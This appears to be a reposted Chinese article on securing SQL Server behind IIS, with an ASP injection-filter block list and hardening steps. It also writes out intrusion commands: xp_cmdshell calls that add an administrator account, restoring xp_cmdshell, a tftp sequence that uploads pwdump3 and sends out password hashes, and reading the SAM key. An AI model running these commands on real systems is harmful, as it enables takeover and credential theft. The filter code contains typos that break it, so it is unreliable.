從IIS到SQL Server資料庫安全
來源:互聯網
上載者:User
關鍵字
安全
SQL Server
iis
從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程式自動利用了,大家還想去手工操作這些IIS漏洞麼? 讓我們調整重心,去看看伺服器常用的資料庫吧。 一般網站都是基於資料庫的,特別是ASP、PHP、JSP這樣的用資料庫來動態顯示的網站。 很多網站可能多注意的是作業系統的漏洞,但是對資料庫和這些腳本的安全總是忽略,也沒有太多注意。 從最比較普遍的腳本問題開始,這些都是老話題了,大家可以參考Hectic寫的《關於資料庫的簡單入侵和無賴破壞,以天融信做例子》,該文章對從SQL腳本問題說得非常詳細。 對於腳本安全的解決,也可以通過過濾來實現,可以參考我以前寫的。 對於ASP來說,可以使用下面這個過濾函數: Function Filter_SQL(strData) Dim strFilter Dim blnFlag Dim i strFilter="',;,//,--,@,_,exec, declare" '需要過濾的字元,可以自己添加,","是分隔符號 blnFlag=Flase '過濾標誌,如果產生過濾,那麼就是真 Dim arrayFilter arrayFilter=Split(strFilter,",") For i=0 To UBound(arrayFilter) If Instr(strData,arrayFilter(i))>0 Then blnFlag=True Exit For End If Next If blnFlag The n Response.Redirect "wrong.asp" '當發現有過濾操作時,導向一個預定頁面。 反正正常訪問用不到的連接請求,總不是好事情。 Else Filter_SQL=strData End If End Function 對於MS SQL Server資料庫來說,安全問題不僅僅局限在腳本上了。 「天殺的微軟」的系統性很強,整個基於WINDOWS系統的應用都有很強的關聯性,對SQL Server來說,基本可以把資料庫管理和系統管理等同起來了。 SQL Server預設的管理員帳號「sa」的密碼是空的,這給多數NT伺服器產生一個安全性漏洞。 小榕的「SQLRCMD」,就能夠利用獲得的資料庫管理員帳號執行系統命令。 在SQL Server中有很多系統預存程序,有些是資料庫內部使用的,還有一些就是通過執行存儲過程來調用系統命令。 系統預存程序:xp_cmdshell 就是以作業系統命令列解譯器的方式執行給定的命令字串。 它就具體語法是:xp_cmdshell {'command_string'} [, no_output] xp_cmdshell在預設情況下,只有 sysadmin 的成員才能執行。 但是,sysadmin也可以授予其他使用者這個執行許可權。 在早期版本中,獲得 xp_cmdshell 執行許可權的使用者在 SQL Server 服務的使用者帳戶中運行命令。 可以通過配置選項配置 SQL Server,以便對 SQL Server 無 sa 存取權限的使用者能夠在SQLExecutiveCmdExec Windows NT 帳戶中運行 xp_cmdshell。 在 SQL Server 7.0 中,該帳戶稱為 SQLAgentCmdExec。 現在對於SQL Server2000,只要有一個能執行該預存程序的帳號就可以直接運行命令了。 對於 NT 和 WIN2000,當使用者不是 sysadmin 組的成員時,xp_cmdshell 將類比使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程式的代理帳戶。 如果代理帳戶不能用,則 xp_cmdshell 將失敗。 所以即使有一個帳戶是master資料庫的db_owner,也不能執行這個預存程序。 如果我們有一個能執行xp_cmdshell的資料庫帳號,比如是空口令的sa帳號。 那麼我們可以執行這樣的命令: exec xp_cmdshell 'net user refdom 123456 /add' exec xp_cmdshell 'net localgroup administrators refdom /add' 上面兩次調用就在系統的管理員組中添加了一個使用者:refdom 當我們獲得資料庫的sa管理員帳號後,就應該可以完全控制這個機器了。 可見資料庫安全的重要性。 下面這些預存程序都是對Public可以執行的: xp_fileexist,用來確定一個檔是否存在。 xp_getfiledetails,可以獲得檔詳細資料。 xp_dirtree,可以展開你需要瞭解的目錄,獲得所有目錄深度。 Xp_getnetname,可以獲得伺服器名稱。 還有可以操作註冊表的預存程序,這些不是對Public可以執行的,需要系統管理員或者授權執行: Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread (對Public可以執行) Xp_regremovemultistring Xp_regwrite SQL Server的安全配置 除跟著微軟打滿所有補丁外,還需要加強資料庫的安全。 首先,你需要加強象sa這樣的帳號的密碼,跟系統帳號的使用配置相似,一般運算元據庫不要使用象sa這樣的最高許可權的帳號,而使用能滿足你的要求的一般帳號。 接著對擴充預存程序開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆預存程序,都drop吧,一般也用不著。 執行: use master sp_dropextendedproc 'xp_cmdshell' 去掉guest帳號,阻止非授權使用者訪問。 去掉不必要的網路通訊協定。 加強對資料庫登陸的日誌記錄,最好記錄所有登陸事件。 可以用下面的簡單DOS命令來查看日誌: findstr /C:"登錄" d:\Microsoft SQL Server\MSSQL\LOG\*.* 用管理員帳號定期檢查所有帳號,是否密碼為空或者過於簡單,比如下面的語句: Use master Select name,Password from syslogins where password is null 用下面語句對所有帳號,檢查對預存程序和擴充預存程序的執行權,提防不必要的執行許可權擴散: Use master S elect sysobjects.name From sysobjects, sysprotects Where sysprotects.uid = 0 AND xtype IN ('X','P') AND sysobjects.id = sy sprotects.id 加強資料庫的安全是非常重要的,有的資料庫伺服器是和WEB伺服器隔離開的,這就同MAIL伺服器一樣,資料庫的日誌可能就基本很少去查看,這將會成為管理員的一個疏忽點。 類似DNS、MAIL等等,資料庫伺服器往往成為各種入侵的跳板。 下面是一些關於資料庫的問答和技巧: 1、獲得SA許可權後,卻不能執行xp_cmdshell預存程序怎麼辦? 答:可能是已經把xp_cmdshell等擴展預存程序刪除了,可以用這個預存程序把xp_cmdshell恢復。 sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 2、通過資料庫用pwdump獲得系統管理員密碼先上傳一個pwdump tftp -i GET pwdump3.exe pwdump3.exe tftp -i GET lsaext.dll lsaext.dll tftp -i GET pwservice.exe pwservice.exe pwdump3 127.0.0.1 outfile.txt tftp PUT outfile.t xt outfile.txt 然後再用解密工具l0pht等等破解這些密碼。 3、從資料庫讀取系統管理員密碼。 能讀出加密的密碼是NT的"administrator"帳號也不能做的,SQL Server能讀出來是使用的「LocalSystem」帳號,這個帳號比administrator更高一級。 可以使用下面這個預存程序。 不過讀出來的密碼是經過加密後的,然後再解密吧。 xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account','F'責任編輯 趙毅 zhaoyi#51cto.com TEL:(010)68476636-8001 給力(0票)動心(0票)廢話(0票)專業(0票)標題党(0票)路過(0票) 原文:從IIS到SQL Server資料庫安全 返回網路安全首頁